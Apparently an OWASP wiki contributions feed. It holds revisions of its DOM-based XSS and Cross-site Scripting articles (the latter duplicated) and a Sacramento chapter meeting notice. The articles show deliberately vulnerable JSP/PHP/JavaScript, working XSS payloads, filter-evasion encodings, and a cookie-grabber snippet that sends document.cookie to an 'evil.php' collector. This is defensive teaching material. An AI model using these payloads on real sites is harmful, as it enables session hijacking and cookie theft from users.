OWASP - User contributions [en]

DOM Based XSS

2010-10-20T00:38:33Z

Roman: Added link to OWASP Testing Guide

{{template: Attack}}
== DOM Based XSS ==

=== Definition ===

DOM Based [[XSS | XSS]] (or as it is called in some texts, “type-0 XSS”) is an XSS attack wherein the attack payload is executed as a result of modifying the DOM “environment” in the victim’s browser used by the original client side script, so that the client side code runs in an “unexpected” manner. That is, the page itself (the HTTP response that is) does not change, but the client side code contained in the page executes differently due to the malicious modifications that have occurred in the DOM environment.

This is in contrast to other XSS attacks ([[XSS#Stored_and_Reflected_XSS_Attacks |stored or reflected]]), wherein the attack payload is placed in the response page (due to a server side flaw).

=== Example ===

Suppose the following code is used to create a form to let the user choose his/her preferred language. A default language is also provided in the query string, as the parameter “default”.

<pre>
…

Select your language:

<select><script>

document.write("<OPTION value=1>"+document.location.href.substring(document.location.href.indexOf("default=")+8)+"</OPTION>");

document.write("<OPTION value=2>English</OPTION>");

</script></select>
…
</pre>

The page is invoked with a URL such as:

<pre>
http://www.some.site/page.html?default=French
</pre>

A DOM Based XSS attack against this page can be accomplished by sending the following URL to a victim:

<pre>
http://www.some.site/page.html?default=<script>alert(document.cookie)</script>
</pre>

When the victim clicks on this link, the browser sends a request for: <pre>/page.html?default=<script>alert(document.cookie)</script></pre> to www.some.site. The server responds with the page containing the above Javascript code. The browser creates a DOM object for the page, in which the document.location object contains the string:
<pre>
http://www.some.site/page.html?default=<script>alert(document.cookie)</script>
</pre>
The original Javascript code in the page does not expect the default parameter to contain HTML markup, and as such it simply echoes it into the page (DOM) at runtime. The browser then renders the resulting page and executes the attacker’s script:
<pre>
alert(document.cookie)
</pre>

Note that the HTTP response sent from the server does not contain the attacker’s payload. This payload manifests itself at the client-side script at runtime, when a flawed script accesses the DOM variable document.location and assumes it is not malicious.

=== Advanced Techniques and Derivatives ===

In the example above, while the payload was not embedded by the server in the HTTP response, it still arrived at the server as part of an HTTP request, and thus the attack could be detected at the server side. The [http://www.webappsec.org/projects/articles/071105.shtml “DOM Based XSS” paper] ([1]) details a technique to avoid server side detection. It also describes several other possible locations for the payload, besides document.location.

The technique to avoid sending the payload to the server hinges on the fact that URI fragments (the part in the URI after the “#”) is not sent to the server by the browser. Thus, any client side code that references, say, document.location, may be vulnerable to an attack which uses fragments, and in such case the payload is never sent to the server. For example, the above DOM based XSS can be modified into:
<pre>
http://www.some.site/page.html#default=<script>alert(document.cookie)</script>
</pre>
which mounts the same attack without it being seen by the server (which will simply see a request for page.html without any URL parameters).

In December 2006, Stefano Di Paola and Giorgio Fedon described a [http://events.ccc.de/congress/2006/Fahrplan/attachments/1158-Subverting_Ajax.pdf universal XSS attack against the Acrobat PDF plugin] ([4]). This attack applied the fragment variant of DOM based XSS to PDF documents. The researchers discovered that a PDF document served to the browser, when rendered by the Acrobat plugin, may end up executing part of the fragment as Javascript. Since the Javascript is executed in the context (DOM) of the current site, all an attacker needed to exploit this flaw was to simply find a PDF link somewhere on the site for the XSS condition to be met. If the attacker then tricked a user into clicking on (or submitting) a link like:
<pre>
http://www.some.site/somefile.pdf#somename=javascript:attackers_script_here
</pre>
then a victim using an un-patched Acrobat reader would succumb to the attack. Adobe patched their reader after they were made aware of this flaw, but if not all users have downloaded the patch then those users are still vulnerable to this type of attack.

Ivan Ristic did some research and proposed some server side defenses against this type of attack in his presentation "Protecting Web Applications from Universal PDF XSS: A discussion of how weird the web application security world has become" at the [[OWASP_AppSec_Europe_2007_-_Italy |2007 OWASP Europe AppSec Conference]] in Milan. His presentation ([5]) can be downloaded [http://www.owasp.org/images/c/c2/OWASPAppSec2007Milan_ProtectingWebAppsfromUniversalPDFXSS.ppt here].

=== Extensions ===

Ory Segal gave an example (section “Javascript flow manipulation” in [2]) of how a target page can be framed and the frame’s parent (in the attacker’s control) can be devised in such manner that it affects the execution of the target page in a way desired by the attacker. The technique shows how DOM manipulation can be useful to modify the execution flow of scripts in the target page.

Kuza55 and Stefano Di Paola discussed more ways in which the concept of DOM manipulation and DOM based XSS can be extended in [3].

=== References ===

[1] “DOM Based Cross Site Scripting or XSS of the Third Kind” (WASC writeup), Amit Klein, July 2005

http://www.webappsec.org/projects/articles/071105.shtml

[2] “JavaScript Code Flow Manipulation, and a real world example advisory - Adobe Flex 3 Dom-Based XSS” (Watchfire blog), Ory Segal, June 17th, 2008

http://blog.watchfire.com/wfblog/2008/06/javascript-code.html

[3] “Attacking Rich Internet Applications” (RUXCON 2008 presentation), Kuza55 and Stefano Di Paola, November 2008

http://www.ruxcon.org.au/files/2008/Attacking_Rich_Internet_Applications.pdf

[4] “Subverting Ajax” (23C3 presentation), Stefano Di Paola and Giorgio Fedon, December 2006

http://events.ccc.de/congress/2006/Fahrplan/attachments/1158-Subverting_Ajax.pdf

[5] "Protecting Web Applications from Universal PDF XSS" (2007 OWASP Europe AppSec presentation) Ivan Ristic, May 2007

http://www.owasp.org/images/c/c2/OWASPAppSec2007Milan_ProtectingWebAppsfromUniversalPDFXSS.ppt

[6] OWASP Testing Guide

[[Testing_for_DOM-based_Cross_site_scripting_(OWASP-DV-003)]]

Cross-site Scripting (XSS)

2010-10-20T00:36:41Z

Roman: Updated links from old Testing Guide v2 to current version.

{{template: Attack}}<br>
[[Category:OWASP ASDR Project]]

Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''

[[Category:Security Focus Area]]
__NOTOC__
==Overview==
Cross-Site Scripting attacks are a type of injection problem, in which malicious scripts are injected into the otherwise benign and trusted web sites. Cross-site scripting (XSS) attacks occur when an attacker uses a web application to send malicious code, generally in the form of a browser side script, to a different end user. Flaws that allow these attacks to succeed are quite widespread and occur anywhere a web application uses input from a user in the output it generates without validating or encoding it.

An attacker can use XSS to send a malicious script to an unsuspecting user. The end user’s browser has no way to know that the script should not be trusted, and will execute the script. Because it thinks the script came from a trusted source, the malicious script can access any cookies, session tokens, or other sensitive information retained by your browser and used with that site. These scripts can even rewrite the content of the HTML page.

==Related Security Activities==

===How to Avoid Cross-site scripting Vulnerabilities===

See the [[XSS (Cross Site Scripting) Prevention Cheat Sheet]]

See the [[:Category:OWASP Guide Project|OWASP Development Guide]] article on [[Phishing|Phishing]].

See the [[:Category:OWASP Guide Project|OWASP Development Guide]] article on [[Data Validation]].

===How to Review Code for Cross-site scripting Vulnerabilities===

See the [[:Category:OWASP Code Review Project|OWASP Code Review Guide]] article on [[Reviewing Code for Cross-site scripting]] Vulnerabilities.

===How to Test for Cross-site scripting Vulnerabilities===

See the latest [[:Category:OWASP Testing Project|OWASP Testing Guide]] article on how to test for the various kinds of XSS vulnerabilities.
* [[Testing_for_Reflected_Cross_site_scripting_(OWASP-DV-001)]]
* [[Testing_for_Stored_Cross_site_scripting_(OWASP-DV-002)]]
* [[Testing_for_DOM-based_Cross_site_scripting_(OWASP-DV-003)]]

==Description==

Cross-Site Scripting (XSS) attacks occur when:

# Data enters a Web application through an untrusted source, most frequently a web request.
#The data is included in dynamic content that is sent to a web user without being validated for malicious code.

The malicious content sent to the web browser often takes the form of a segment of JavaScript, but may also include HTML, Flash or any other type of code that the browser may execute. The variety of attacks based on XSS is almost limitless, but they commonly include transmitting private data like cookies or other session information to the attacker, redirecting the victim to web content controlled by the attacker, or performing other malicious operations on the user's machine under the guise of the vulnerable site.

===Stored and Reflected XSS Attacks===
XSS attacks can generally be categorized into two categories: stored and reflected. There is a third, much less well known type of XSS attack called [[DOM Based XSS |DOM Based XSS]] that is discussed seperately [[DOM Based XSS |here]].

====Stored XSS Attacks====
Stored attacks are those where the injected code is permanently stored on the target servers, such as in a database, in a message forum, visitor log, comment field, etc. The victim then retrieves the malicious script from the server when it requests the stored information.

====Reflected XSS Attacks====
Reflected attacks are those where the injected code is reflected off the web server, such as in an error message, search result, or any other response that includes some or all of the input sent to the server as part of the request. Reflected attacks are delivered to victims via another route, such as in an e-mail message, or on some other web server. When a user is tricked into clicking on a malicious link or submitting a specially crafted form, the injected code travels to the vulnerable web server, which reflects the attack back to the user’s browser. The browser then executes the code because it came from a "trusted" server.

====XSS Attack Consequences====
The consequence of an XSS attack is the same regardless of whether it is stored or reflected ([[DOM Based XSS |or DOM Based]]). The difference is in how the payload arrives at the server. Do not be fooled into thinking that a “read only” or “brochureware” site is not vulnerable to serious reflected XSS attacks. XSS can cause a variety of problems for the end user that range in severity from an annoyance to complete account compromise. The most severe XSS attacks involve disclosure of the user’s session cookie, allowing an attacker to hijack the user’s session and take over the account. Other damaging attacks include the disclosure of end user files, installation of Trojan horse programs, redirect the user to some other page or site, or modify presentation of content. An XSS vulnerability allowing an attacker to modify a press release or news item could affect a company’s stock price or lessen consumer confidence. An XSS vulnerability on a pharmaceutical site could allow an attacker to modify dosage information resulting in an overdose.

===How to Determine If You Are Vulnerable===
XSS flaws can be difficult to identify and remove from a web application. The best way to find flaws is to perform a security review of the code and search for all places where input from an HTTP request could possibly make its way into the HTML output. Note that a variety of different HTML tags can be used to transmit a malicious JavaScript. Nessus, Nikto, and some other available tools can help scan a website for these flaws, but can only scratch the surface. If one part of a website is vulnerable, there is a high likelihood that there are other problems as well.

===How to Protect Yourself===
The primary defenses against XSS are described in the [[XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet |OWASP XSS Prevention Cheat Sheet]].

Also, it's crucial that you turn off HTTP TRACE support on all webservers. An attacker can steal cookie data via Javascript even when document.cookie is disabled or not supported on the client. This attack is mounted when a user posts a malicious script to a forum so when another user clicks the link, an asynchronous HTTP Trace call is triggered which collects the user's cookie information from the server, and then sends it over to another malicious server that collects the cookie information so the attacker can mount a session hijack attack. This is easily mitigated by removing support for HTTP TRACE on all webservers.

The [[ESAPI |OWASP ESAPI project]] has produced a set of reusable security components in several languages, including validation and escaping routines to prevent parameter tampering and the injection of XSS attacks. In addition, the [[:Category:OWASP WebGoat Project|OWASP WebGoat Project]] training application has lessons on Cross-Site Scripting and data encoding.

===Alternate XSS Syntax===
====XSS using Script in Attributes====

XSS attacks may be conducted without using <script></script> tags.
Other tags will do exacly the same thing, for example:
<pre>
<body onload=alert('test1')>
</pre>
or other attribites like: onmouseover, onerror.

onmouseover
<pre>
<b onmouseover=alert('Wufff!')>click me!</b>
</prE>
onerror
<pre>
<img src="http://url.to.file.which/not.exist" onerror=alert(document.cookie);>
</pre>

====XSS using Script Via Encoded URI Schemes====

If we need to hide against web application filters we may try to encode string characters, e.g.: a=&#X41 (UTF-8) and use it in
IMG tag:
<pre>
<IMG SRC=j&#X41vascript:alert('test2')>
</pre>
There are many different UTF-8 encoding notations what give us even more possibilities.

====XSS using code encoding====

We may encode our script in base64 and place it in META tag. This way we get rid of alert() totally. More information about this method can be found in RFC 2397
<pre>
<META HTTP-EQUIV="refresh"
CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pg">
</pre>
These (just a little modified by me) and others examples can be found on http://ha.ckers.org/xss.html, which is a true encyclopedia of the alternate XSS syntax attack.



== Examples ==

Cross-site scripting attacks may occur anywhere that possibly malicious users are allowed to post unregulated material to a trusted web site for the consumption of other valid users.

The most common example can be found in bulletin-board web sites which provide web based mailing list-style functionality.

===Example 1===

The following JSP code segment reads an employee ID, eid, from an HTTP request and displays it to the user.

<pre>
<% String eid = request.getParameter("eid"); %>
...
Employee ID: <%= eid %>
</pre>

The code in this example operates correctly if eid contains only standard alphanumeric text. If eid has a value that includes meta-characters or source code, then the code will be executed by the web browser as it displays the HTTP response.

Initially this might not appear to be much of a vulnerability. After all, why would someone enter a URL that causes malicious code to run on their own computer? The real danger is that an attacker will create the malicious URL, then use e-mail or social engineering tricks to lure victims into visiting a link to the URL. When victims click the link, they unwittingly reflect the malicious content through the vulnerable web application back to their own computers. This mechanism of exploiting vulnerable web applications is known as Reflected XSS.

===Example 2===

The following JSP code segment queries a database for an employee with a given ID and prints the corresponding employee's name.

<pre>
<%...
Statement stmt = conn.createStatement();
ResultSet rs = stmt.executeQuery("select * from emp where id="+eid);
if (rs != null) {
rs.next();
String name = rs.getString("name");
%>

Employee Name: <%= name %>
</pre>

As in Example 1, this code functions correctly when the values of name are well-behaved, but it does nothing to prevent exploits if they are not. Again, this code can appear less dangerous because the value of name is read from a database, whose contents are apparently managed by the application. However, if the value of name originates from user-supplied data, then the database can be a conduit for malicious content. Without proper input validation on all data stored in the database, an attacker can execute malicious commands in the user's web browser. This type of exploit, known as Stored XSS, is particularly insidious because the indirection caused by the data store makes it more difficult to identify the threat and increases the possibility that the attack will affect multiple users. XSS got its start in this form with web sites that offered a "guestbook" to visitors. Attackers would include JavaScript in their guestbook entries, and all subsequent visitors to the guestbook page would execute the malicious code.

As the examples demonstrate, XSS vulnerabilities are caused by code that includes unvalidated data in an HTTP response. There are three vectors by which an XSS attack can reach a victim:

* As in Example 1, data is read directly from the HTTP request and reflected back in the HTTP response. Reflected XSS exploits occur when an attacker causes a user to supply dangerous content to a vulnerable web application, which is then reflected back to the user and executed by the web browser. The most common mechanism for delivering malicious content is to include it as a parameter in a URL that is posted publicly or e-mailed directly to victims. URLs constructed in this manner constitute the core of many phishing schemes, whereby an attacker convinces victims to visit a URL that refers to a vulnerable site. After the site reflects the attacker's content back to the user, the content is executed and proceeds to transfer private information, such as cookies that may include session information, from the user's machine to the attacker or perform other nefarious activities.
* As in Example 2, the application stores dangerous data in a database or other trusted data store. The dangerous data is subsequently read back into the application and included in dynamic content. Stored XSS exploits occur when an attacker injects dangerous content into a data store that is later read and included in dynamic content. From an attacker's perspective, the optimal place to inject malicious content is in an area that is displayed to either many users or particularly interesting users. Interesting users typically have elevated privileges in the application or interact with sensitive data that is valuable to the attacker. If one of these users executes malicious content, the attacker may be able to perform privileged operations on behalf of the user or gain access to sensitive data belonging to the user.
* A source outside the application stores dangerous data in a database or other data store, and the dangerous data is subsequently read back into the application as trusted data and included in dynamic content.

=== Attack Examples ===

'''Example 1 : Cookie Grabber'''

If the application doesn't validate the input data, the attacker can easily steal a cookie from an authenticated user. All the attacker has to do is to place the following code in any posted input(ie: message boards, private messages, user profiles):

<pre>
<SCRIPT type="text/javascript">
var adr = '../evil.php?cakemonster=' + escape(document.cookie);
</SCRIPT>
</pre>

The above code will pass an escaped content of the cookie (according to RFC content must be escaped before sending it via HTTP protocol with GET method) to the evil.php script in "cakemonster" variable. The attacker then checks the results of his evil.php script (a cookie grabber script will usually write the cookie to a file) and use it.

===Error Page Example===

Let's assume that we have an error page, which is handling requests for a non existing pages, a classic 404 error
page. We may use the code below as an example to inform user about what specific page is missing:
<pre>
<html>
<body>

<? php
print "Not found: " . urldecode($_SERVER["REQUEST_URI"]);
?>

</body>
</html>
</pre>
Let's see how it works:
<pre>
http://testsite.test/file_which_not_exist
</pre>
In response we get:
<pre>
Not found: /file_which_not_exist
</pre>
Now we will try to force the error page to include our code:
<pre>
http://testsite.test/<script>alert("TEST");</script>
</pre>
The result is:
<pre>
Not found: / (but with JavaScript code <script>alert("TEST");</script>)
</pre>
We have successfully injected the code, our XSS! What does it mean? For example, that we
may use this flaw to try to steal a user's session cookie.



==Related [[Attacks]]==
* [[XSS Attacks]]
* [[:Category:Injection Attack]]
* [[Invoking untrusted mobile code]]
* [[Cross Site History Manipulation (XSHM)]]

==Related [[Vulnerabilities]]==
* [[:Category:Input Validation Vulnerability]]
* [[Cross Site Scripting Flaw]]

==Related [[Controls]]==
* [[:Category:Input Validation]]
* [[HTML Entity Encoding]]
* [[Output Validation]]
* [[Canonicalization]]

==References==
* OWASP's [[XSS (Cross Site Scripting) Prevention Cheat Sheet]]
* OWASP Guide to Building Secure Web Applications and Web Services, Chapter 8: [[Data_Validation|Data Validation]]
* OWASP Testing Guide, [[Testing_for_Reflected_Cross_site_scripting_(OWASP-DV-001)]]
* OWASP Testing Guide, [[Testing_for_Stored_Cross_site_scripting_(OWASP-DV-002)]]
* OWASP Testing Guide, [[Testing_for_DOM-based_Cross_site_scripting_(OWASP-DV-003)]]
* OWASP's [[How_to_Build_an_HTTP_Request_Validation_Engine_for_Your_J2EE_Application|How to Build an HTTP Request Validation Engine (J2EE validation using OWASP's Stinger)]]
* Google Code Best Practice Guide: http://code.google.com/p/doctype/wiki/ArticlesXSS
* The Cross Site Scripting FAQ: http://www.cgisecurity.com/articles/xss-faq.shtml
* XSS Cheat Sheet: http://ha.ckers.org/xss.html
* CERT Advisory on Malicious HTML Tags: http://www.cert.org/advisories/CA-2000-02.html
* CERT “Understanding Malicious Content Mitigation” http://www.cert.org/tech_tips/malicious_code_mitigation.html
* Understanding the cause and effect of CSS Vulnerabilities: http://www.technicalinfo.net/papers/CSS.html
* XSSed - Cross-Site Scripting (XSS) Information and Mirror Archive of Vulnerable Websites http://www.xssed.com
<br>
{{Template:Fortify}}

[[Category:OWASP Top Ten Project]]
[[Category:Java]]
[[Category:Code Snippet]]
[[Category:Security Focus Area]]
[[Category:Attack]]

Cross-site Scripting (XSS)

2010-10-20T00:18:56Z

Roman: /* References */

{{template: Attack}}<br>
[[Category:OWASP ASDR Project]]

Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''

[[Category:Security Focus Area]]
__NOTOC__
==Overview==
Cross-Site Scripting attacks are a type of injection problem, in which malicious scripts are injected into the otherwise benign and trusted web sites. Cross-site scripting (XSS) attacks occur when an attacker uses a web application to send malicious code, generally in the form of a browser side script, to a different end user. Flaws that allow these attacks to succeed are quite widespread and occur anywhere a web application uses input from a user in the output it generates without validating or encoding it.

An attacker can use XSS to send a malicious script to an unsuspecting user. The end user’s browser has no way to know that the script should not be trusted, and will execute the script. Because it thinks the script came from a trusted source, the malicious script can access any cookies, session tokens, or other sensitive information retained by your browser and used with that site. These scripts can even rewrite the content of the HTML page.

==Related Security Activities==

===How to Avoid Cross-site scripting Vulnerabilities===

See the [[XSS (Cross Site Scripting) Prevention Cheat Sheet]]

See the [[:Category:OWASP Guide Project|OWASP Development Guide]] article on [[Phishing|Phishing]].

See the [[:Category:OWASP Guide Project|OWASP Development Guide]] article on [[Data Validation]].

===How to Review Code for Cross-site scripting Vulnerabilities===

See the [[:Category:OWASP Code Review Project|OWASP Code Review Guide]] article on [[Reviewing Code for Cross-site scripting]] Vulnerabilities.

===How to Test for Cross-site scripting Vulnerabilities===

See the [[:Category:OWASP Testing Project|OWASP Testing Guide]] article on how to [[Testing for Cross site scripting|Test for Cross site scripting]] Vulnerabilities.

==Description==

Cross-Site Scripting (XSS) attacks occur when:

# Data enters a Web application through an untrusted source, most frequently a web request.
#The data is included in dynamic content that is sent to a web user without being validated for malicious code.

The malicious content sent to the web browser often takes the form of a segment of JavaScript, but may also include HTML, Flash or any other type of code that the browser may execute. The variety of attacks based on XSS is almost limitless, but they commonly include transmitting private data like cookies or other session information to the attacker, redirecting the victim to web content controlled by the attacker, or performing other malicious operations on the user's machine under the guise of the vulnerable site.

===Stored and Reflected XSS Attacks===
XSS attacks can generally be categorized into two categories: stored and reflected. There is a third, much less well known type of XSS attack called [[DOM Based XSS |DOM Based XSS]] that is discussed seperately [[DOM Based XSS |here]].

====Stored XSS Attacks====
Stored attacks are those where the injected code is permanently stored on the target servers, such as in a database, in a message forum, visitor log, comment field, etc. The victim then retrieves the malicious script from the server when it requests the stored information.

====Reflected XSS Attacks====
Reflected attacks are those where the injected code is reflected off the web server, such as in an error message, search result, or any other response that includes some or all of the input sent to the server as part of the request. Reflected attacks are delivered to victims via another route, such as in an e-mail message, or on some other web server. When a user is tricked into clicking on a malicious link or submitting a specially crafted form, the injected code travels to the vulnerable web server, which reflects the attack back to the user’s browser. The browser then executes the code because it came from a "trusted" server.

====XSS Attack Consequences====
The consequence of an XSS attack is the same regardless of whether it is stored or reflected ([[DOM Based XSS |or DOM Based]]). The difference is in how the payload arrives at the server. Do not be fooled into thinking that a “read only” or “brochureware” site is not vulnerable to serious reflected XSS attacks. XSS can cause a variety of problems for the end user that range in severity from an annoyance to complete account compromise. The most severe XSS attacks involve disclosure of the user’s session cookie, allowing an attacker to hijack the user’s session and take over the account. Other damaging attacks include the disclosure of end user files, installation of Trojan horse programs, redirect the user to some other page or site, or modify presentation of content. An XSS vulnerability allowing an attacker to modify a press release or news item could affect a company’s stock price or lessen consumer confidence. An XSS vulnerability on a pharmaceutical site could allow an attacker to modify dosage information resulting in an overdose.

===How to Determine If You Are Vulnerable===
XSS flaws can be difficult to identify and remove from a web application. The best way to find flaws is to perform a security review of the code and search for all places where input from an HTTP request could possibly make its way into the HTML output. Note that a variety of different HTML tags can be used to transmit a malicious JavaScript. Nessus, Nikto, and some other available tools can help scan a website for these flaws, but can only scratch the surface. If one part of a website is vulnerable, there is a high likelihood that there are other problems as well.

===How to Protect Yourself===
The primary defenses against XSS are described in the [[XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet |OWASP XSS Prevention Cheat Sheet]].

Also, it's crucial that you turn off HTTP TRACE support on all webservers. An attacker can steal cookie data via Javascript even when document.cookie is disabled or not supported on the client. This attack is mounted when a user posts a malicious script to a forum so when another user clicks the link, an asynchronous HTTP Trace call is triggered which collects the user's cookie information from the server, and then sends it over to another malicious server that collects the cookie information so the attacker can mount a session hijack attack. This is easily mitigated by removing support for HTTP TRACE on all webservers.

The [[ESAPI |OWASP ESAPI project]] has produced a set of reusable security components in several languages, including validation and escaping routines to prevent parameter tampering and the injection of XSS attacks. In addition, the [[:Category:OWASP WebGoat Project|OWASP WebGoat Project]] training application has lessons on Cross-Site Scripting and data encoding.

===Alternate XSS Syntax===
====XSS using Script in Attributes====

XSS attacks may be conducted without using <script></script> tags.
Other tags will do exacly the same thing, for example:
<pre>
<body onload=alert('test1')>
</pre>
or other attribites like: onmouseover, onerror.

onmouseover
<pre>
<b onmouseover=alert('Wufff!')>click me!</b>
</prE>
onerror
<pre>
<img src="http://url.to.file.which/not.exist" onerror=alert(document.cookie);>
</pre>

====XSS using Script Via Encoded URI Schemes====

If we need to hide against web application filters we may try to encode string characters, e.g.: a=&#X41 (UTF-8) and use it in
IMG tag:
<pre>
<IMG SRC=j&#X41vascript:alert('test2')>
</pre>
There are many different UTF-8 encoding notations what give us even more possibilities.

====XSS using code encoding====

We may encode our script in base64 and place it in META tag. This way we get rid of alert() totally. More information about this method can be found in RFC 2397
<pre>
<META HTTP-EQUIV="refresh"
CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pg">
</pre>
These (just a little modified by me) and others examples can be found on http://ha.ckers.org/xss.html, which is a true encyclopedia of the alternate XSS syntax attack.



== Examples ==

Cross-site scripting attacks may occur anywhere that possibly malicious users are allowed to post unregulated material to a trusted web site for the consumption of other valid users.

The most common example can be found in bulletin-board web sites which provide web based mailing list-style functionality.

===Example 1===

The following JSP code segment reads an employee ID, eid, from an HTTP request and displays it to the user.

<pre>
<% String eid = request.getParameter("eid"); %>
...
Employee ID: <%= eid %>
</pre>

The code in this example operates correctly if eid contains only standard alphanumeric text. If eid has a value that includes meta-characters or source code, then the code will be executed by the web browser as it displays the HTTP response.

Initially this might not appear to be much of a vulnerability. After all, why would someone enter a URL that causes malicious code to run on their own computer? The real danger is that an attacker will create the malicious URL, then use e-mail or social engineering tricks to lure victims into visiting a link to the URL. When victims click the link, they unwittingly reflect the malicious content through the vulnerable web application back to their own computers. This mechanism of exploiting vulnerable web applications is known as Reflected XSS.

===Example 2===

The following JSP code segment queries a database for an employee with a given ID and prints the corresponding employee's name.

<pre>
<%...
Statement stmt = conn.createStatement();
ResultSet rs = stmt.executeQuery("select * from emp where id="+eid);
if (rs != null) {
rs.next();
String name = rs.getString("name");
%>

Employee Name: <%= name %>
</pre>

As in Example 1, this code functions correctly when the values of name are well-behaved, but it does nothing to prevent exploits if they are not. Again, this code can appear less dangerous because the value of name is read from a database, whose contents are apparently managed by the application. However, if the value of name originates from user-supplied data, then the database can be a conduit for malicious content. Without proper input validation on all data stored in the database, an attacker can execute malicious commands in the user's web browser. This type of exploit, known as Stored XSS, is particularly insidious because the indirection caused by the data store makes it more difficult to identify the threat and increases the possibility that the attack will affect multiple users. XSS got its start in this form with web sites that offered a "guestbook" to visitors. Attackers would include JavaScript in their guestbook entries, and all subsequent visitors to the guestbook page would execute the malicious code.

As the examples demonstrate, XSS vulnerabilities are caused by code that includes unvalidated data in an HTTP response. There are three vectors by which an XSS attack can reach a victim:

* As in Example 1, data is read directly from the HTTP request and reflected back in the HTTP response. Reflected XSS exploits occur when an attacker causes a user to supply dangerous content to a vulnerable web application, which is then reflected back to the user and executed by the web browser. The most common mechanism for delivering malicious content is to include it as a parameter in a URL that is posted publicly or e-mailed directly to victims. URLs constructed in this manner constitute the core of many phishing schemes, whereby an attacker convinces victims to visit a URL that refers to a vulnerable site. After the site reflects the attacker's content back to the user, the content is executed and proceeds to transfer private information, such as cookies that may include session information, from the user's machine to the attacker or perform other nefarious activities.
* As in Example 2, the application stores dangerous data in a database or other trusted data store. The dangerous data is subsequently read back into the application and included in dynamic content. Stored XSS exploits occur when an attacker injects dangerous content into a data store that is later read and included in dynamic content. From an attacker's perspective, the optimal place to inject malicious content is in an area that is displayed to either many users or particularly interesting users. Interesting users typically have elevated privileges in the application or interact with sensitive data that is valuable to the attacker. If one of these users executes malicious content, the attacker may be able to perform privileged operations on behalf of the user or gain access to sensitive data belonging to the user.
* A source outside the application stores dangerous data in a database or other data store, and the dangerous data is subsequently read back into the application as trusted data and included in dynamic content.

=== Attack Examples ===

'''Example 1 : Cookie Grabber'''

If the application doesn't validate the input data, the attacker can easily steal a cookie from an authenticated user. All the attacker has to do is to place the following code in any posted input(ie: message boards, private messages, user profiles):

<pre>
<SCRIPT type="text/javascript">
var adr = '../evil.php?cakemonster=' + escape(document.cookie);
</SCRIPT>
</pre>

The above code will pass an escaped content of the cookie (according to RFC content must be escaped before sending it via HTTP protocol with GET method) to the evil.php script in "cakemonster" variable. The attacker then checks the results of his evil.php script (a cookie grabber script will usually write the cookie to a file) and use it.

===Error Page Example===

Let's assume that we have an error page, which is handling requests for a non existing pages, a classic 404 error
page. We may use the code below as an example to inform user about what specific page is missing:
<pre>
<html>
<body>

<? php
print "Not found: " . urldecode($_SERVER["REQUEST_URI"]);
?>

</body>
</html>
</pre>
Let's see how it works:
<pre>
http://testsite.test/file_which_not_exist
</pre>
In response we get:
<pre>
Not found: /file_which_not_exist
</pre>
Now we will try to force the error page to include our code:
<pre>
http://testsite.test/<script>alert("TEST");</script>
</pre>
The result is:
<pre>
Not found: / (but with JavaScript code <script>alert("TEST");</script>)
</pre>
We have successfully injected the code, our XSS! What does it mean? For example, that we
may use this flaw to try to steal a user's session cookie.



==Related [[Attacks]]==
* [[XSS Attacks]]
* [[:Category:Injection Attack]]
* [[Invoking untrusted mobile code]]
* [[Cross Site History Manipulation (XSHM)]]

==Related [[Vulnerabilities]]==
* [[:Category:Input Validation Vulnerability]]
* [[Cross Site Scripting Flaw]]

==Related [[Controls]]==
* [[:Category:Input Validation]]
* [[HTML Entity Encoding]]
* [[Output Validation]]
* [[Canonicalization]]

==References==
* OWASP's [[XSS (Cross Site Scripting) Prevention Cheat Sheet]]
* OWASP Guide to Building Secure Web Applications and Web Services, Chapter 8: [[Data_Validation|Data Validation]]
* OWASP Testing Guide, [[Testing_for_Reflected_Cross_site_scripting_(OWASP-DV-001)]]
* OWASP Testing Guide, [[Testing_for_Stored_Cross_site_scripting_(OWASP-DV-002)]]
* OWASP Testing Guide, [[Testing_for_DOM-based_Cross_site_scripting_(OWASP-DV-003)]]
* OWASP's [[How_to_Build_an_HTTP_Request_Validation_Engine_for_Your_J2EE_Application|How to Build an HTTP Request Validation Engine (J2EE validation using OWASP's Stinger)]]
* Google Code Best Practice Guide: http://code.google.com/p/doctype/wiki/ArticlesXSS
* The Cross Site Scripting FAQ: http://www.cgisecurity.com/articles/xss-faq.shtml
* XSS Cheat Sheet: http://ha.ckers.org/xss.html
* CERT Advisory on Malicious HTML Tags: http://www.cert.org/advisories/CA-2000-02.html
* CERT “Understanding Malicious Content Mitigation” http://www.cert.org/tech_tips/malicious_code_mitigation.html
* Understanding the cause and effect of CSS Vulnerabilities: http://www.technicalinfo.net/papers/CSS.html
* XSSed - Cross-Site Scripting (XSS) Information and Mirror Archive of Vulnerable Websites http://www.xssed.com
<br>
{{Template:Fortify}}

[[Category:OWASP Top Ten Project]]
[[Category:Java]]
[[Category:Code Snippet]]
[[Category:Security Focus Area]]
[[Category:Attack]]

Sacramento

2010-10-05T14:26:38Z

Roman:

Sacramento

2010-09-22T17:36:10Z

Roman:

{{Chapter Template|chaptername=Sacramento|extra=The chapter leaders are [mailto:roman.hustad@yahoo.com Roman Hustad] and [mailto:michael.weber35@gmail.com Michael Weber].|mailinglistsite=http://lists.owasp.org/mailman/listinfo/owasp-sacramento|emailarchives=http://lists.owasp.org/pipermail/owasp-sacramento}}

== Charter ==
The Sacramento OWASP Chapter promotes the [[About_The_Open_Web_Application_Security_Project|principles of OWASP]] in our local community with an emphasis on education, local networking opportunities, and fun. Meetings are typically on the last Thursday evening of the month.

== Next meeting: THREAT MODELING WORKSHOP, Thursday, September 30 2010 6-8pm ==

Threat Modeling is one of the cheapest and most effective methods to identify and prioritize security risks, but few practice it because it is perceived as too difficult. Roman Hustad will share from his threat modeling experiences how a basic threat model can be constructed in hours rather than days. This will be a ''work''shop, not a presentation so come prepared to stand up and participate. Roman will give a brief introduction to Threat Modeling and propose a simplified methodology. The team will then build a threat model for the fictional Hacme Books e-commerce web application (optional: [http://www.foundstone.com/us/resources/proddesc/hacmebooks.htm download] and play with the application ahead of time).

Pizza and drinks will be provided by the chapter. (Thanks to those of you who became OWASP members in 2010!)

